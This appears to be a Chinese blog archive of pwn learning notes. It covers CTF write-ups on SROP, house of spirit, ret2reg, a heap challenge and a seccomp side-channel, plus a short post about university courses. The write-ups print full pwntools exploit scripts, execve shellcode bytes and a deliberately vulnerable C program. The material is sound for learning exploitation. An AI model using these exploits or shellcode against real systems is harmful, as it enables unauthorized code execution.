pwn入门-36-SROP
基础看ctf-wiki和《权威指南pwn》
出自论文: Framing Signals — A Return to Portable Shellcode
理论基础32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
攻击条件1.栈溢出,且大小足够
2.知道以下内容地址
“/bin/sh”、signal frame、syscall、sigreturn
对sigreturn, 只要rax=15(64位下),执行syscall即可,rax可以通过一些方式来间接控制,比如作为read的返回值(读取的字节数)
例题 360 春秋杯 smallest-pwn
这个不能用正常程序的流程来看待,就这几行汇编, 首先向栈顶读取了0x400字符,然后ret, 又会从栈顶取值作为下一条指令.
程序中没有sigreturn系统调用,但是有read,通过read可以控制rax寄存器的值, 然后再调用syscall即可,换句话说,其实可以调用任意的系统调用(不考虑其他寄存器是否满足条件)
execve(“/bin/sh”,0,0) 最终的目标是要执行这个, 但现在最大的问题是, 不知道”/bin/sh”的地址,所以需要想办法泄露栈地址,然后输入到这个确定的地址上面.
攻击步骤1.泄露地址 因为ret后从rsp取值,所以rsp这里要放几个程序的起始地址start_addr,然后首先要利用write输出栈的地址,可以看到这两句指令
123mov rsi,rspmov rdi,raxsyscall
如果利用之前的read把rax控制为1,那么就可以调用write的系统调用了,而rsi正好是rsp,所以可以输出一个rsp中的一个栈指针,理论上也是指向栈的某个位置.
要执行write的话,需要跳过xor这条指令,所以是不是应该在rsp上放一个0x400b3,也就是xor下一条指令的地址呢? 理论上需要,其实也不用,因为在输入一个字符的时候,可以输入\xb3, 这样把rsp上原先存放的start_addr地址的最后一个字节改了,也可以实现这个效果
123456payload = p64(start_addr) * 3sh.send(payload)sh.send('\xb3')stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))
在输出的时候可以看到第二个地址才是栈上地址,所以取值[8:16], 为啥rsp上面要放3三个初始地址呢?
第一个用来读入 \xb3, 第二个时 进入了write,泄露地址, 第三个该继续走下面流程了
2.构造frame: 实现读入已知地址的功能 刚开始非常纳闷…这段汇编给的就是read的汇编,为啥要用frame构造啊….后来想明白后,还是自己太想当然了,前面给的read的汇编是不知道rsp的地址的,通过构造的frame,在恢复的时候,可以指定rsp的值,这样才能知道/bin/sh的地址(或许可以暴力破解?
12345678910111213sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)sh.send(payload)## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'b' * 7sh.send(sigreturn)
7个b不会影响吗??? 会覆盖sigframe的开头,但是不知道覆盖的哪个寄存器????,不过看结果是没影响的
3. 读如execve的frame,然后执行1234567891011sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'sh.send(payload)sh.send(sigreturn)
与2原理一样,读入frame,然后执行
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from pwn import *small = ELF('./smallest')if args['REMOTE']: sh = remote('127.0.0.1', 7777)else: sh = process('./smallest')context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0payload = p64(start_addr) * 3sh.send(payload)pause()sh.send("\xb3")stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b'a'*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"b"*7pause()sh.send(sigreturn)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retpause()frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'sh.send(payload)pause()sh.send(sigreturn)sh.interactive()
暴力破解解法 不过这个解法也是基于在本地能大概看一下偏移差多少的情况下,如果直接暴力破解的话,难度应该会更大一点
12345678910111213141516171819202122232425262728293031323334from pwn import *small = ELF('./smallest')sh = process('./smallest')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0payload = p64(start_addr) * 3sh.send(payload)#pause()sh.send(b"\xb3")stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))sigreturn = p64(syscall_ret) + b"b"*7sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr -0xa1f # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + b"c"*8 + bytes(sigframe)payload = frame_payload + b'/bin/sh\x00'*90#pause()sh.send(payload)sh.send(sigreturn)sh.interactive()
其他gdb中如何查看 sigframe结构?
gdb查看结构体信息
https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-print-pretty-on.html
pwn入门-35-7月月赛pwn
题目链接: 本链接+/pwn
一上来能看到是一个很明显的菜单堆题,并且有后门函数,很明显要劫持控制流,执行后门函数,但问题是没找到通用的漏洞,但是能看到add中,有很大一串逻辑,后来也看到了这里有关于后门函数的操作,以及存放puts函数的地址.
确定思路大概是想办法操作堆块位置,布置好位置,把后门函数放到puts函数的位置,然后调用就可以了.
不过后面看这逻辑看迷糊了….其实挺简单的逻辑, 注意两点,一点是可以辅助画图,来帮助自己分析,另外一点是通过调试来帮助自己分析, 只用脑子想…脑子可能不太够用..
12345678910111213141516171819202122232425262728293031323334353637383940414243unsigned __int64 add(){.... puts("size:"); size = 0; __isoc99_scanf("%u", &size); if ( size <= 0x200 && size > 7 ) { for ( size_4 = 0; size_4 <= 1; ++size_4 ) { if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { dword_4068[4 * size_4] = size; *((_QWORD *)&ptrs + 2 * size_4) = malloc(size); if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { puts("malloc error"); exit(0); } **((_QWORD **)&ptrs + 2 * size_4) = &puts; puts("content:"); v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8); if ( v7 > 0 ) *(_BYTE *)(v7 + 7LL + *((_QWORD *)&ptrs + 2 * size_4)) = 0; v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v1 == 8995 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23; v2 = *(_WORD *)(v7 + 22LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v2 == 12850 ) v8 = *(unsigned __int64 (**)())(v7 + 16LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( j = 0; j <= 7; ++j ) *(_BYTE *)(v7 + (__int64)j + 16 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)j)) ^ 0x32; return __readfsqword(0x28u) ^ v9; } } } return __readfsqword(0x28u) ^ v9;}
比较关键的几条语句如下:
1**((_QWORD **)&ptrs + 2 * size_4) = &puts;
这一条把堆块数据区开头8字节赋值了puts函数的地址
然后从第8字节开始读入剩下的数据
1v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8);
下面这两句刚开始没看懂,一直在想怎么样才能满足这个条件呢,这条语句的意思是,判断输入的数据后面第6字节是否等于8995, 14可以拆成两个来看 8 + 6, 8代表了puts的8字节, 6就是剩下的6字节, 然后判断这个地址的值是否等于8995,8995这样的数还是切换成16进制比较好! 因为在gdb中显示的基本都是16进制,这可能也是自己没判断出来相关关系的一个原因
12v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4));if ( v1 == 8995 ) v1 == 0x2323
其实看不太懂没关系,完全可以在gdb中调试的时候发现端倪,在那两次奇怪的xor之后,能够看到符合条件的两个值,0x2323和0x3232
也就是说可以调整位置让程序符合这个判断条件,符合判断条件有什么用呢?
如果不符合条件,v8仍然是后门函数的地址,那么xor后,仍然是一个无效地址,但如果已经xor过一次,通过进入0x2323的执行流,把v8的值设置为xor过一次的地址,那么再次xor后,就恢复原样了!就得到后门函数了
12345 v8 = magicffff; if ( v1 == 0x2323 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4));for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23;
具体步骤
刚开始两次add, 都添加大小为32的块,
删除0号块
申请40大小的块(32行吗?32不行,32的话,用不了下一个chunk的prev_size字段),输入31个a(不是32是因为后面会补一个0x00),然后后面两个8字节就被xor了,后面两个8字节,一个是size,一个是存放puts函数地址的,这样的话,就把magic xor后的数值存放到了这里, 所以后面的问题是如何解xor,当时也卡在了这里
其实在调试中仔细观察的话(所以不能光空想!) 会发现有0x2323 0x3232,正好可以进入到两个判断条件中,
后面再进入0x23, 两次xor就回到原先的值了!
再次释放0
再次申请0 40,并填满
show 1 就可以了
奥。。。明白为什么比赛的时候做题没做出来了。。没有看懂关键逻辑(以及想当然的以为xor后的东西看着一连串一样的,以为没啥用,其实地址0x55555当然很多一样的了。。)。。就像之前的那道题一样,都不需要写脚本,看懂逻辑了直接交互就可以了
关键逻辑在add里面
偷一下exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import * from time import sleepimport osimport syselfPath = './pwn'libcPath = ''remoteAddr = ''remotePort = ''context.log_level = 'debug'context.binary = elfPathcontext.terminal = ['tmux', 'splitw', '-h']myelf = context.binaryif sys.argv[1] == 'l': sh = process(elfPath) libc = myelf.libcelse: if sys.argv[1] == 'd': sh = process(elfPath, env = {'LD_PRELOAD': libcPath}) else: sh = remote(remoteAddr,remotePort) context.log_level = 'info' if libcPath: libc = ELF(libcPath) else: libc = myelf.libc def add(sz, content): sh.sendlineafter('option:\n', '1') sh.sendlineafter('size:\n', str(sz)) sh.sendlineafter('content:\n', content)def show(idx): sh.sendlineafter('option:\n', '2') sh.sendlineafter('id:\n', str(idx))def delete(idx): sh.sendlineafter('option:\n', '3') sh.sendlineafter('id:\n', str(idx))if __name__ == '__main__': add(0x28, 'a' ) # 0 add(0x28, 'b' ) # 1 delete(0) gdb.attach(sh) add(0x28, 'c' * 0x1f) delete(0) add(0x28,'d' * 0x1f) show(1) sh.interactive() sh.close()
https://www.aucyberclub.org/makaleler/2023/01/31/prototypepollution.html
https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse-2023/calibrator/
很多题都不错,好好搞一下有空
pwn入门-34-rop之ret2reg
手法概述 这一种攻击手法主要利用的是像如 jmp rsp, jmp rax,call rax这种跳转的指令. 这种指令在一些情况下可以对抗ALSR随机化, 因为比如我们写入一段shellcode,但是不知道shellcode的开始地址,不过,如果有一个寄存器,例如rax,指向shellcode的空间,那么栈溢出后,覆盖返回地址为call rax即可返回到shellcode处进行执行.
主要参考的这一篇文章,利用的这里面的例子,不过在复现的时候,有些地方和文章里有点小区别
https://blog.csdn.net/sinat_35695255/article/details/52031813
漏洞代码ret2reg.c 编译:gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
打开ALSR echo 2 > /proc/sys/kernel/randomize_va_space
12345678910111213141516#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { evilfunction(argv[1]); return 0; }
攻击过程寻找溢出长度 可以通过gdb调试,也可以通过参考文章作者给的办法
1./ret2reg $(perl -e 'printf "A"x524 . "BBBB"')
完之后再查看内核崩溃文件,能看到覆盖了返回地址,EIP被设置为BBBB
寻找gadget1234567891011121314root@vultr:~/ret2reg# objdump -d ret2reg | grep *%eax 101d: ff d0 call *%eax 110c: ff d0 call *%eax root@vultr:~/ret2reg# ROPgadget --binary ret2reg --only="call"Gadgets information============================================================0x000010b6 : call dword ptr [eax + 0x51]0x000010af : call dword ptr [eax - 0x73]0x000011f0 : call dword ptr [edx - 0x77]0x0000101d : call eax0x0000115d : call edxUnique gadgets found: 5
寻找shellcode和寄存器的关系 在strcpy后,shellcode的存放地址,也在了eax中(存放返回值),因为strcpy函数的返回值是指向最终的目标字符串 dest 的指针,所以如果有jmp eax或者call eax,就可以转移控制流过去
core文件gdb ret2reg core文件 –q 查看内核崩溃文件, 可以看到崩溃时的情况
那么,linux 程序崩溃 如何产生core呢?
ulimit查看,如果为0,就不会产生,需要设置一下,
ulimit -c unlimited 设置为可以产生coredump且大小不受限制,但仅对当前会话?生效,如果想要永久生效,修改/etc/profile,加入ulimit -c unlimited即可
参考链接: https://www.tinymind.net.cn/articles/e4c54a679a8b15
设置core文件路径:
proc/sys/kernel/core_pattern 可以设置格式化的 core 文件保存位置或文件名
1echo "/core/core-%e-%p-%t" > /proc/sys/kernel/core_pattern
https://www.ngui.cc/el/1819464.html?action=onClick
exp 这里的一个重点是要找call eax的地址,
echo 0 > /proc/sys/kernel/randomize_va_space(作者echo 2, 说是不随机化加载地址,但是我这边随机化了…回头再了解下
123456pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File0x56555000 0x56558000 r-xp 3000 0 /root/ret2reg/ret2reg0x56558000 0x56559000 r-xp 1000 2000 /root/ret2reg/ret2reg0x56559000 0x5655a000 rwxp 1000 3000 /root/ret2reg/ret2reg
方法一 0x5655601d
1./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')
随机化程度有多少呢? 是否可以枚举
根据实际情况测试,随机化的大小好像不是很大,可以直接枚举(回头确认下范围)
和博客里的那个随机化不一样,博客里说把randomize_va_space设置为2,这里设置为2仍然会随机化,设置为0就都取消了
12345root@vultr:~/ret2reg# echo 0 > /proc/sys/kernel/randomize_va_spaceroot@vultr:~/ret2reg# ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')# lscore exp.py ret2reg ret2reg.c# exit
方法二 这里面的三个payload都可以用,本质上没啥区别. 不加架构也能成功,注意需要在启动时就传递参数的话,用这种方式 p = process(argv=[“./ret2reg”,payload])
1234567891011from pwn import *#context.arch= 'i386'context(arch='i386',os='linux',log_level='debug')shellcode = asm(shellcraft.sh())#payload = shellcode + b"a"*(524-len(shellcode))+p32(0x5655601d)#payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+p32(0x5655601d)payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+b"\x1d\x60\x55\x56"p = process(argv=["./ret2reg",payload])p.interactive()
参考链接:https://it.cha138.com/jingpin/show-199849.html
问题jmp可以吗? jmp是指什么来..
call和jmp的区别
2.关于随机化地址的问题
ucas-夏季学期-云存储安全和知识图谱
夏季学期选课选到了第一周,一周上完,满满的五天课,还是收获了很多的. 首先是这个云计算安全实践(其实是云存储安全实践)做了一个小系统,正好本身打算学c++,这就提前做个小项目了,感觉收获蛮多的. 然后就是知识图谱课程,当初了解知识图谱是导师给我推荐,可以用这个来整理自己的笔记,后来用了用(可能还算不上知识图谱,就是图),确实感觉很不错,因为更符合人的思维习惯我觉得,用图的形式来表达,能够更好地看清事物之间的联系,也有助于建立自己的知识体系!
不过选了知识图谱这个课程…可能是个错误的选择…真要深入了解的话,隔行如隔山,什么自然语言处理,各种机器学习的东西像听天书一样,听的我头大(头疼),确实不太喜欢这个东西, 不过也反思了一下自己,如果真的有必要去学的话,要克制一下自己的喜好,该学的要学.
云存储安全 老师它们甚至还写了本书,为了这个课程(或许是有了书才有的课程),这本书里应该把整个系统的实现写的差不多了,代码完成了百分之七八十,所需要的是理解原理,看懂代码,然后进行CV(小小修改)
书籍: 《云存储安全实践》 陈驰老师团队 (微信读书有的)
这个系统主要是实现一个类似云盘功能的东西,然后加入了很多安全的东西,比如三权分立,有账户管理的管理员、有日志管理的管理员、有系统的管理员,然后就是普通用户了.
然后对于核心的用户功能,类似于实现了一个云盘,用户可以上传文件,然后文件是加密传输的,存储到阿里云等公有云上,密钥存储到另外一个云管理平台上,这样就保证了即便数据泄露了,也不会被攻击者轻易得到数据.
前端采用QT框架,利用c++进行开发,后端采用java.
其实没有设计太复杂的编程,本质还是增删改查,融入了一些安全的理念以及云存储的一点功能.(不过不是说这个系统很简单,这个系统确实能学到很多东西)
以及通过这次实验,让我加深了一个印象,编程不是魔法,没有什么特殊的技巧,更重要的是基础, 尤其是在这次编程中体会到了模版函数等各种机制的利用会带来非常大的便利,比如说很多功能类似的函数,这时候就需要模版函数了,很多复杂的功能,也都是最基本的函数,以及循环、顺序、判断的组合.
登陆页面:
用户管理页面:
文件管理页面:
搜索功能
知识图谱 没什么评价…………..听天书……….
pwn入门-33-houseofspirit
这个东西蛮有意思,可以对内存中一块fastbin大小的不可控内存区域进行读写,但它需要满足两个条件
1.该区域的前后的内存是可控的
2.存在一个可控指针可以作为free函数的参数
how2heap的例子https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c
确实需要画图,画图的话看得很清晰了就
LCTF 2016 pwn200 看一下有rwx段,可以写shellcode,本来是想打onegadget的,不过这种打法还需要泄露libc的地址
12345678root@VM-24-10-ubuntu:/home/ubuntu/heap/houseofsp# checksec pwn200[*] '/home/ubuntu/heap/houseofsp/pwn200' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
1234567891011121314151617181920__int64 sub_400A8E(){ __int64 i; // [rsp+10h] [rbp-40h] char v2[48]; // [rsp+20h] [rbp-30h] BYREF puts("who are u?"); for ( i = 0LL; i <= 47; ++i ) { read(0, &v2[i], 1uLL); if ( v2[i] == 10 ) { v2[i] = 0; break; } } printf("%s, welcome to xdctf~\n", v2); puts("give me your id ~~?"); sub_4007DF(); return sub_400A29();}
123456789101112131415161718192021222324252627int sub_4007DF(){ char nptr[8]; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] v2 = 0; for ( i = 0; i <= 3; ++i ) { read(0, &nptr[i], 1uLL); if ( nptr[i] == 10 ) //换行 { nptr[i] = 0; //空字符 break; } if ( nptr[i] > 57 || nptr[i] <= 47 ) // 如果不是数字的话,就打印出来(只读取一个了就),如果是的话,跳过 { printf("0x%x ", (unsigned int)nptr[i]); return 0; } } v2 = atoi(nptr); if ( v2 >= 0 ) return atoi(nptr); else return 0;}
要先想办法泄露地址,输入回车的会被替换成0(就相当于字符串到最后了,被截断)
把前面修改为 0x40 fastbin大小,,然后进行free, 然后malloc获取到ret地址,然后就修改ret进行getshell
泄露地址 不要遗漏每一个函数和语句!
输入48个A泄露rbp
伪造chunk 这里是输入money那里,可以直接覆盖到ptr指针,把ptr覆盖了,覆盖成当前rbp的地址之前的某个位置,伪造chunk,free,然后再申请拿到这一块内存控制权限,然后就可以修改ret了,但是两个问题,
1.不知道libc的地址,知道的话,可以直接onegadget了,所以书中的解法是用了shellcode
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
可以看一下最终的效果图,很清晰
exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *#io = remote('0.0.0.0', 10001)io = process('./pwn200')shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')def leak(): global fake_addr global shellcode_addr payload = shellcode.rjust(48, b'A') io.sendafter("who are u?\n", payload) io.recvuntil(payload) rbp_addr = u64(io.recvn(6).ljust(8, b'\x00')) shellcode_addr = rbp_addr - 0x20 - len(shellcode) fake_addr = rbp_addr - 0x20 - 0x30 - 0x40 # make fake.size = 0x40 log.info("shellcode address: 0x%x" % shellcode_addr) log.info("fake chunk address: 0x%x" % fake_addr)def house_of_spirit(): io.sendlineafter("give me your id ~~?\n", '65') # next.size = 0x41 fake_chunk = p64(0) * 5 fake_chunk += p64(0x41) # fake.size fake_chunk = fake_chunk.ljust(0x38, b'\x00') fake_chunk += p64(fake_addr) # overwrite pointer io.sendafter("give me money~\n", fake_chunk) io.sendlineafter("choice : ", '2') # free(fake_addr) io.sendlineafter("choice : ", '1') # malloc(fake_addr) io.sendlineafter("long?", '48') payload = b"A" * 0x18 payload += p64(shellcode_addr) # overwrite return address payload = payload.ljust(48, b'\x00') io.sendafter("48\n", payload)def pwn(): io.sendlineafter("choice", '3') io.interactive()leak()house_of_spirit()pwn()
排错 自己写的exp一直有问题,有一大片后面的选择\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :的输出
捣鼓半天是leak那里出问题了..一个回车引发的血案……….草……… 造成了后面一堆的错乱,为啥gdb里不影响呢?
这里要用send,因为存在offbyone,所以不需要回车,可以正好填满缓冲区,然后把rbp打印出来
12345def leak(): 14 global fake_addr,shellcode_addr 15 payload = shellcode.rjust(48,b'A') 16 p.recvuntil("who are u?\n") 17 p.send(payload)
感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
是的,理论上48个字符后,下一个字符,会放到ebp-0x38,也就是刚才输入的who are u后面的前方(不信可以输入49个a试试)
1234.text:0000000000400B1F call sub_4007DF.text:0000000000400B24 cdqe.text:0000000000400B26 mov [rbp+var_38], rax.text:0000000000400B2A mov eax, 0
不正常的,不正常是因为\n被give you id读取了,然后65\n和give your money后面全乱了
正常的(伪造这个0x41的位置),释放后再申请,前面18个随便填充,然后就覆盖返回地址了
待整理 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
程序运行起来了,接入pid调试
,或者能不能直接看内存空间
Gdb attach本地进程进去
搞一搞pwntools,深入理解下
house_of_spirit 也有一个send
你的exp有问题…不过确实可以找一下其他的学一下
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
https://blog.csdn.net/sinat_35360663/article/details/128510319
后面有个总结不错
一个回车惹的祸…
pwn入门-32-defcon2017资格赛-mute
侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法
https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute
好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.
程序分析1234567891011121314151617181920int __cdecl main(int argc, const char **argv, const char **envp){ FILE *v3; // rdi int v5; // [rsp+14h] [rbp-Ch] void *buf; // [rsp+18h] [rbp-8h] v5 = 0; buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); puts("SILENCE, FOUL DAEMON!"); v3 = _bss_start; fflush(_bss_start); dropSyscalls(v3); while ( v5 != 4096 ) { v3 = 0LL; v5 += read(0, buf, 4096 - v5); } ((void (__fastcall *)(FILE *))buf)(v3); return 0;}
读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用
123456789101112131415161718192021222324root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./muteSILENCE, FOUL DAEMON! line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019 0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018 0006: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0018 0007: 0x15 0x0a 0x00 0x00000003 if (A == close) goto 0018 0008: 0x15 0x09 0x00 0x00000004 if (A == stat) goto 0018 0009: 0x15 0x08 0x00 0x00000005 if (A == fstat) goto 0018 0010: 0x15 0x07 0x00 0x00000006 if (A == lstat) goto 0018 0011: 0x15 0x06 0x00 0x00000007 if (A == poll) goto 0018 0012: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0018 0013: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0018 0014: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0018 0015: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0018 0016: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0018 0017: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
诶 不是有execve吗,不能getshell吗
exp 思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)
1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *context.update(arch='amd64', os='linux', log_level='ERROR') # 这个必须加,不然shellcraft没法正确识别指令集flag = ""for i in range(15): # flag的位数,不知道就可以多写点 c = 0 # 存储字符的ascii码 for j in range(8): # 一个字符8位 循环每一位 p = process("./mute") p.readline() shellcode = shellcraft.open("./flag",constants.O_RDONLY,None) # 打开文件 shellcode += pwnlib.shellcraft.amd64.mov("r8","rax") # 把句柄给r8 shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0) # lseek 读写文件偏移量,这个就是说,一个字节一个字节读, shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1) # 把内容读取1字节,读到rsp上 shellcode += ''' movzx eax, BYTE PTR [rsp] #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax movsx edx,al # 把要比较的字符放到edx中 mov eax,%s #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位 mov ecx,eax # 把变量放到ecx sar edx,cl # 右移 cl位 mov eax,edx and eax,1 test eax,eax # and运算、测试是1还是0 je .L2 # jz的别名,如果是0,跳转L2 .L3: jmp .L3 .L2: leave ret ''' % j # 这个是填充%s变量的 shellcode = asm(shellcode) p.send(shellcode+b"\0"*(0x1000-len(shellcode))) try: p.recv(timeout=1) # 1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110 except EOFError: # 0 , leave ret后EOFError c = c>>1 sys.stdout.write(chr(c)) flag += chr(c) sys.stdout.flush()print(flag)
汇编分析1234567891011121314151617181920212223242526272829303132333435363738394041/* open(file='flag', oflag=0, mode=0) */ /* push b'flag\x00' */ push 0x67616c66 mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push SYS_open /* 2 */ pop rax syscall mov r8, rax # 返回值,句柄, /* lseek(fd='r8', offset=0, whence=0) 这是第一次,偏移为0*/ mov rdi, r8 xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call lseek() */ push SYS_lseek /* 8 */ pop rax syscall /* call read('r8', 'rsp', 1) */ xor eax, eax /* SYS_read */ mov rdi, r8 push 1 pop rdx mov rsi, rsp syscall # 系统调用号是0 前面xor即可 movzx eax, BYTE PTR [rsp] movsx edx, al mov eax, 0 mov ecx, eax sar edx, cl mov eax, edx and eax, 1 test eax, eax je .L2 .L3: jmp .L3 .L2: leave ret
调试调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试
接收字符分析12345try: p.recv(timeout=1) # 收到消息了,是1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110except EOFError: # 0 c = c>>1
以接收f的过程为例, f是 0b01100110
12345678910root@vultr:~/side# python3 1.py0b00b100000000b110000000b11000000b1100000b100110000b110011000b1100110f
上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位
0b000000000b100000000b110000000b011000000b001100000b100110000b110011000b01100110
刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?
嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.
留的小尾巴了解一下怎么调试汇编吧..直接编写汇编代码调试
还没用时间侧信道来做呢…
pwn入门-31-DASCTF六月二进制专项-1
